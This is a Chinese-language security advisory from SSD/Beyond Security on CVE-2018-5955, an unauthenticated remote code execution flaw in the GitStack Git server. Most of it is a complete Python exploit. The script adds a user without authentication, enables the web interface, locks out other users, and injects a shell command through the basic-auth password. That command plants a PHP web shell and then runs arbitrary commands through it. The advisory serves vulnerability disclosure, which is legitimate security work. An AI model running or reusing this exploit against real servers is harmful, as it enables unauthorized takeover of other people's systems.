SSD安全公告-GitStack未经验证的远程代码执行漏洞
Credit to Author: SSD / Maor Schwartz| Date: Tue, 06 Feb 2018 08:44:21 +0000
Want to get paid for a vulnerability similar to this one?
Contact us at: sxsxdx@xbxexyxoxnxdxsxexcxuxrxixtxy.xcom
See our full scope at: https://blogs.securiteam.com/index.php/product_scope
漏洞概要
以下安全公告描述了在GitStack中存在的一个未经身份验证的动作,允许远程攻击者添加新用户,然后用于触发远程代码执行。
GitStack是一个可以让你设置你自己私人Git服务器的软件。 这意味着你可以创建一个没有任何内容的版本控制系统。GitStack可以非常容易的保持你的服务器是最新的。它是真正Git for Windows,并与任何其他Git客户端兼容。GitStack对于小团队来说是完全免费的。
漏洞提交者
一位独立的安全研究人员 Kacper Szurek向 Beyond Security 的 SSD 报告了该漏洞
厂商响应
自2017年10月17日起,我们多次尝试联系GitStack,已经收到回应,但未提供有关解决方案或解决方法的详细信息。
CVE:CVE-2018-5955
漏洞详细信息
用户可控的输入没有经过充分的过滤,未经身份验证的攻击者可以通过发送以下POST请求在GitStack服务器中添加新用户:
一旦攻击者将用户添加到服务器,他就可以启用web repository功能。
现在,攻击者可以从远程创建一个repository,并禁止其他人访问我们新的repository。
在repository中,攻击者可以上传后门并使用它来执行代码:
漏洞证明
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 | import requests from requests.auth import HTTPBasicAuth import os import sys ip = ‘192.168.15.102’ # What command you want to execute command = “whoami” repository = ‘rce’ username = ‘rce’ password = ‘rce’ csrf_token = ‘token’ user_list = [] print “[+] Get user list” r = requests.get(“http://{}/rest/user/”.format(ip)) try: user_list = r.json() user_list.remove(‘everyone’) except: pass if len(user_list) > 0: username = user_list[0] print “[+] Found user {}”.format(username) else: r = requests.post(“http://{}/rest/user/”.format(ip), data={‘username’ : username, ‘password’ : password}) print “[+] Create user” if not “User created” in r.text and not “User already exist” in r.text: print “[-] Cannot create user” os._exit(0) r = requests.get(“http://{}/rest/settings/general/webinterface/”.format(ip)) if “true” in r.text: print “[+] Web repository already enabled” else: print “[+] Enable web repository” r = requests.put(“http://{}/rest/settings/general/webinterface/”.format(ip), data=‘{“enabled” : “true”}’) print “r: %s” % r if not “Web interface successfully enabled” in r.text: print “[-] Cannot enable web interface” os._exit(0) print “[+] Get repositories list” r = requests.get(“http://{}/rest/repository/”.format(ip)) repository_list = r.json() if len(repository_list) > 0: repository = repository_list[0][‘name’] print “[+] Found repository {}”.format(repository) else: print “[+] Create repository” r = requests.post(“http://{}/rest/repository/”.format(ip), cookies={‘csrftoken’ : csrf_token}, data={‘name’ : repository, ‘csrfmiddlewaretoken’ : csrf_token}) if not “The repository has been successfully created” in r.text and not “Repository already exist” in r.text: print “[-] Cannot create repository” os._exit(0) print “[+] Add user to repository” r = requests.post(“http://{}/rest/repository/{}/user/{}/”.format(ip, repository, username)) if not “added to” in r.text and not “has already” in r.text: print “[-] Cannot add user to repository” os._exit(0) print “[+] Disable access for anyone” r = requests.delete(“http://{}/rest/repository/{}/user/{}/”.format(ip, repository, “everyone”)) if not “everyone removed from rce” in r.text and not “not in list” in r.text: print “[-] Cannot remove access for anyone” os._exit(0) print “[+] Create backdoor in PHP” r = requests.get(‘http://{}/web/index.php?p={}.git&a=summary’.format(ip, repository), auth=HTTPBasicAuth(username, ‘p && echo “<?php system($_POST[‘a’]); ?>” > c:GitStackgitphpexploit.php’)) print r.text.encode(sys.stdout.encoding, errors=‘replace’) print “[+] Execute command” r = requests.post(“http://{}/web/exploit.php”.format(ip), data={‘a’ : command}) print r.text.encode(sys.stdout.encoding, errors=‘replace’) |